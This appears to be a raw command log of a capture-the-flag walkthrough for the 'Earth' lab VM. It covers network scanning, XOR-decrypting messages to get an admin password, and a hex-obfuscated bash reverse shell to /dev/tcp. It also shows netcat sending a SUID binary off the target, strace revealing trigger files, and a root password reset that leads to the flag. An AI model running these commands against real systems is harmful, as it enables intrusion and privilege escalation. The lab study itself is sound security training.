$ sudo nmap -sP 192.168 .0.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022 -03-27 02:19 CST
Nmap scan report for 192.168 .0.1
Host is up ( 0 .00047s latency) .
MAC Address: 24 :69:8E:07:FE:4E ( Shenzhen Mercury Communication Technologies)
Nmap scan report for 192.168 .0.100
Host is up ( 0 .18s latency) .
MAC Address: DA:3F:DF:36:C2:F8 ( Unknown)
Nmap scan report for earth.local ( 192.168 .0.103)
Host is up ( 0 .00024s latency) .
MAC Address: 08:00:27:76:5E:4C ( Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168 .0.104
Host is up ( 0 .18s latency) .
MAC Address: C8:94:02:0F:E5:33 ( Chongqing Fugui Electronics)
Nmap scan report for 192.168 .0.107
Host is up ( 0 .15s latency) .
MAC Address: D2:66:41:4A:73:EF ( Unknown)
Nmap scan report for 192.168 .0.109
Host is up ( 0 .0015s latency) .
MAC Address: E8:6A:64:83:2C:C0 ( Lcfc( hefei) Electronics Technology)
Nmap scan report for 192.168 .0.105
Host is up.
Nmap done: 256 IP addresses ( 7 hosts up) scanned in 3.09 seconds
$ sudo nmap -sV -sC -A 192.168 .0.103
Starting Nmap 7.92 ( https://nmap.org ) at 2022 -03-27 02:21 CST
Nmap scan report for earth.local ( 192.168 .0.103)
Host is up ( 0 .00039s latency) .
Not shown: 987 filtered tcp ports ( no-response) , 10 filtered tcp ports ( admin-prohibited)
PORT STATE SERVICE VERSION
22 /tcp open ssh OpenSSH 8.6 ( protocol 2.0 )
| ssh-hostkey:
| 256 5b:2c:3f:dc:8b:76:e9:21:7b:d0:56:24:df:be:e9:a8 ( ECDSA)
| _ 256 b0:3c:72:3b:72:21:26:ce:3a:84:e8:41:ec:c8:f8:41 ( ED25519)
80 /tcp open http Apache httpd 2.4 .51 (( Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
| _http-title: Earth Secure Messaging
| _http-server-header: Apache/2.4.51 ( Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
443 /tcp open ssl/http Apache httpd 2.4 .51 (( Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9)
| _http-title: Earth Secure Messaging
| ssl-cert: Subject: commonName = earth.local/stateOrProvinceName= Space
| Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local
| Not valid before: 2021 -10-12T23:26:31
| _Not valid after: 2031 -10-10T23:26:31
| _ssl-date: TLS randomness does not represent time
| _http-server-header: Apache/2.4.51 ( Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9
| tls-alpn:
| _ http/1.1
MAC Address: 08:00:27:76:5E:4C ( Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4 .X| 5 .X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6 , Linux 5.0 - 5.4
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms earth.local ( 192.168 .0.103)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address ( 1 host up) scanned in 20.47 seconds
$ vim /etc/hosts
$ cat /etc/hosts
127.0 .0.1 localhost
127.0 .1.1 kali
192.168 .0.103 earth.local terratest.earth.local
python3 dirsearch.py -e php,txt,zip,html -u https://earth.local/ -t 40 --exclude-status 403,401
_| . _ _ _ _ _ _| _ v0.4.2.3
( _|| | _) ( /_( _|| ( _| )
Extensions: php, txt, zip, html | HTTP method: GET | Threads: 40 | Wordlist size: 10780
Output File: /home/joker/softwares/dirsearch/reports/earth.local/__22-03-28_02-02-47.txt
Target: https://earth.local/
[ 02:02:47] Starting:
[ 02:02:52] 301 - 0B - /admin -> /admin/
[ 02:02:53] 200 - 306B - /admin/
[ 02:02:53] 200 - 306B - /admin/?/login
[ 02:02:53] 200 - 746B - /admin/login
Task Completed
python3 dirsearch.py -e php,txt,zip,html -u terratest.earth.local -t 40 --exclude-status 403,401
_| . _ _ _ _ _ _| _ v0.4.2.3
( _|| | _) ( /_( _|| ( _| )
Extensions: php, txt, zip, html | HTTP method: GET | Threads: 40 | Wordlist size: 10780
Output File: /home/joker/softwares/dirsearch/reports/terratest.earth.local_22-03-28_02-05-14.txt
Target: https://terratest.earth.local/
[ 02:05:14] Starting:
[ 02:05:27] 200 - 26B - /index.html
[ 02:05:33] 200 - 521B - /robots.txt
Task Completed
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40
3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45
2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a
https://terratest.earth.local/robots.txt
User-Agent: *
Disallow: /*.asp
Disallow: /*.aspx
Disallow: /*.bat
Disallow: /*.c
Disallow: /*.cfm
Disallow: /*.cgi
Disallow: /*.com
Disallow: /*.dll
Disallow: /*.exe
Disallow: /*.htm
Disallow: /*.html
Disallow: /*.inc
Disallow: /*.jhtml
Disallow: /*.jsa
Disallow: /*.json
Disallow: /*.jsp
Disallow: /*.log
Disallow: /*.mdb
Disallow: /*.nsf
Disallow: /*.php
Disallow: /*.phtml
Disallow: /*.pl
Disallow: /*.reg
Disallow: /*.sh
Disallow: /*.shtml
Disallow: /*.sql
Disallow: /*.txt
Disallow: /*.xml
Disallow: /testingnotes.*
Testing secure messaging system notes:
*Using XOR encryption as the algorithm, should be safe as used in RSA.
*Earth has confirmed they have received our sent messages.
*testdata.txt was used to test encryption.
*terra used as username for admin portal.
Todo:
*How do we send our monthly keys to Earth securely? Or should we change keys weekly?
*Need to test different key lengths to protect against bruteforce. How long should the key be?
*Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.
测试安全消息系统注意事项:
*使用 XOR 加密作为算法,在 RSA 中使用应该是安全的。
*地球已确认他们已收到我们发送的消息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将我们的每月密钥发送到地球? 还是我们应该每周更换密钥?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长?
*需要改进消息界面和管理面板的界面,目前非常基础。
import binascii
key = binascii. b2a_hex( open ( '/home/joker/文档/markdown./vuluhub./or.txt' , 'rb+' ) . read( ) ) . decode( )
pwd = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
print ( hex ( int ( key, 16 ) ^ int ( pwd, 16 ) ) )
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
bash -c 'bash -i >& /dev/tcp/0xc0.0xa8.0x00.0x69/2333 0>&1'
bash-5.1$ find / -user root -perm -4000 -print 2 > /dev/null
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/reset_root
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
bash-5.1$ strings /usr/bin/reset_root
strings /usr/bin/reset_root
/lib64/ld-linux-x86-64.so.2
setuid
puts
system
access
__libc_start_main
libc.so.6
GLIBC_2.2.5
__gmon_start__
H = @@@
paleblueH
] \ UH
credentiH
als rootH
:theEartH
hisflat
[ ] A\ A] A^A_
CHECKING IF RESET TRIGGERS PRESENT.. .
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
/usr/bin/echo 'root:Earth' | /usr/sbin/chpasswd
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
; *3$"
GCC: ( GNU) 11.1 .1 20210531 ( Red Hat 11.1 .1-3)
GCC: ( GNU) 11.2 .1 20210728 ( Red Hat 11.2 .1-1)
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
3g979
running gcc 11.1 .1 20210531
annobin gcc 11.1 .1 20210531
GA*GOW
GA+stack_clash
GA*cf_protection
GA*FORTIFY
GA+GLIBCXX_ASSERTIONS
GA+omit_frame_pointer
GA! stack_realign
/usr/lib/gcc/x86_64-redhat-linux/11/.. /.. /.. /.. /lib64/crt1.o
.annobin_lto
.annobin_lto_end
.annobin_lto.hot
.annobin_lto_end.hot
.annobin_lto.unlikely
.annobin_lto_end.unlikely
.annobin_lto.startup
.annobin_lto_end.startup
.annobin_lto.exit
.annobin_lto_end.exit
__abi_tag
.annobin__dl_relocate_static_pie.start
.annobin__dl_relocate_static_pie.end
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
reset_root_3.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
magic_cipher
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
access@GLIBC_2.2.5
__TMC_END__
setuid@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
.gnu.build.attributes
bash-5.1$ reset_root
reset_root
CHECKING IF RESET TRIGGERS PRESENT.. .
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
bash-5.1$ nc 192.168 .0.105 1233 < /usr/bin/reset_root
$ nc -nlvp 1233 > reset_root
listening on [ any] 1233 .. .
connect to [ 192.168 .0.105] from ( UNKNOWN) [ 192.168 .0.108] 52056
chmod 777 /home/joker/reset_root
strace /home/joker/reset_root
execve( "/home/joker/reset_root" , [ "/home/joker/reset_root" ] , 0x7ffee86595d0 /* 93 vars */) = 0
brk( NULL) = 0x2362000
mmap( NULL, 8192 , PROT_READ| PROT_WRITE, MAP_PRIVATE| MAP_ANONYMOUS, -1, 0 ) = 0x7f03db275000
access( "/etc/ld.so.preload" , R_OK) = -1 ENOENT ( 没有那个文件或目录)
openat( AT_FDCWD, "/etc/ld.so.cache" , O_RDONLY| O_CLOEXEC) = 3
newfstatat( 3 , "" , { st_mode= S_IFREG| 0644, st_size = 111627 , .. .} , AT_EMPTY_PATH) = 0
mmap( NULL, 111627 , PROT_READ, MAP_PRIVATE, 3 , 0 ) = 0x7f03db259000
close( 3 ) = 0
openat( AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6" , O_RDONLY| O_CLOEXEC) = 3
read( 3 , "\177 ELF\2 \1 \1 \3 \0 \0 \0 \0 \0 \0 \0 \0 \3 \0 >\0 \1 \0 \0 \0 @y\2 \0 \0 \0 \0 \0 " .. ., 832 ) = 832
pread64( 3 , "\6 \0 \0 \0 \4 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 " .. ., 784 , 64 ) = 784
pread64( 3 , "\4 \0 \0 \0 \20 \0 \0 \0 \5 \0 \0 \0 GNU\0 \2 \200 \0 \300 \4 \0 \0 \0 \1 \0 \0 \0 \0 \0 \0 \0 " , 32 , 848 ) = 32
pread64( 3 , "\4 \0 \0 \0 \24 \0 \0 \0 \3 \0 \0 \0 GNU\0 ?\323 \315 \324 #\241 \204 X\331 \333 :^P\242 \263 \300 " .. ., 68 , 880 ) = 68
newfstatat( 3 , "" , { st_mode= S_IFREG| 0755, st_size = 1904752 , .. .} , AT_EMPTY_PATH) = 0
pread64( 3 , "\6 \0 \0 \0 \4 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 @\0 \0 \0 \0 \0 \0 \0 " .. ., 784 , 64 ) = 784
mmap( NULL, 1938296 , PROT_READ, MAP_PRIVATE| MAP_DENYWRITE, 3 , 0 ) = 0x7f03db07f000
mprotect( 0x7f03db0a5000, 1724416 , PROT_NONE) = 0
mmap( 0x7f03db0a5000, 1409024 , PROT_READ| PROT_EXEC, MAP_PRIVATE| MAP_FIXED| MAP_DENYWRITE, 3 , 0x26000) = 0x7f03db0a5000
mmap( 0x7f03db1fd000, 311296 , PROT_READ, MAP_PRIVATE| MAP_FIXED| MAP_DENYWRITE, 3 , 0x17e000) = 0x7f03db1fd000
mmap( 0x7f03db24a000, 24576 , PROT_READ| PROT_WRITE, MAP_PRIVATE| MAP_FIXED| MAP_DENYWRITE, 3 , 0x1ca000) = 0x7f03db24a000
mmap( 0x7f03db250000, 33656 , PROT_READ| PROT_WRITE, MAP_PRIVATE| MAP_FIXED| MAP_ANONYMOUS, -1, 0 ) = 0x7f03db250000
close( 3 ) = 0
mmap( NULL, 12288 , PROT_READ| PROT_WRITE, MAP_PRIVATE| MAP_ANONYMOUS, -1, 0 ) = 0x7f03db07c000
arch_prctl( ARCH_SET_FS, 0x7f03db07c740) = 0
mprotect( 0x7f03db24a000, 12288 , PROT_READ) = 0
mprotect( 0x403000, 4096 , PROT_READ) = 0
mprotect( 0x7f03db2a6000, 8192 , PROT_READ) = 0
munmap( 0x7f03db259000, 111627 ) = 0
newfstatat( 1 , "" , { st_mode= S_IFCHR| 0620, st_rdev = makedev( 0x88, 0x6) , .. .} , AT_EMPTY_PATH) = 0
brk( NULL) = 0x2362000
brk( 0x2383000) = 0x2383000
write( 1 , "CHECKING IF RESET TRIGGERS PRESE" .. ., 38CHECKING IF RESET TRIGGERS PRESENT.. .
) = 38
access( "/dev/shm/kHgTFI5G" , F_OK) = -1 ENOENT ( 没有那个文件或目录)
access( "/dev/shm/Zw7bV9U5" , F_OK) = -1 ENOENT ( 没有那个文件或目录)
access( "/tmp/kcM0Wewe" , F_OK) = -1 ENOENT ( 没有那个文件或目录)
write( 1 , "RESET FAILED, ALL TRIGGERS ARE N" .. ., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
) = 44
exit_group( 0 ) = ?
+++ exited with 0 +++
bash-5.1$ touch /dev/shm/kHgTFI5G
touch /dev/shm/kHgTFI5G
bash-5.1$ touch /dev/shm/Zw7bV9U5
touch /dev/shm/Zw7bV9U5=
bash-5.1$ touch /tmp/kcM0Wewe
touch /tmp/kcM0Wewe
bash-5.1$ reset_root
reset_root
CHECKING IF RESET TRIGGERS PRESENT.. .
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth
bash-5.1$ su
su
Password: Earth
whoami
root
cd /root
ls
anaconda-ks.cfg
root_flag.txt
cat root_flag.txt
_-o
_o/"` '' ' ',, dMF9MMMMMHo_
.o& ` " MbHMMMMMMMMMMMHo.
.o"" ' vodM*$&&HMMMMMMMMMM?.
,' $M & ood,~'` ( &
/ ,MMMMMMM
& ?MMMMMMMMMMMMMMMMM7MMM$R*Hk
?$. :MMMMMMMMMMMMMMMMMMM/HMMM| ` *L
| |MMMMMMMMMMMMMMMMMMMMbMH' T,
$H
] MMH
MMMMMb_ | MMMMMMMMMMMP' :
HMMMMMMMHo ` MMMMMMMMMT .
?MMMMMMMMP 9MMMMMMMM} -
-?MMMMMMM | MMMMMMMMM?,d- '
: | MMMMMM- ` MMMMMMMT .M|. :
.9MMM[ &MMMMM*' ` ' .
:9MMk ` MMM
& M} ` .-
` & . .
` ~, . ./
. _ .-
'` --._,dd
Congratulations on completing Earth!
If you have any feedback please contact me at SirFlash@protonmail.com
[ root_flag_b0da9554d29db2117b02aa8b66ec492e]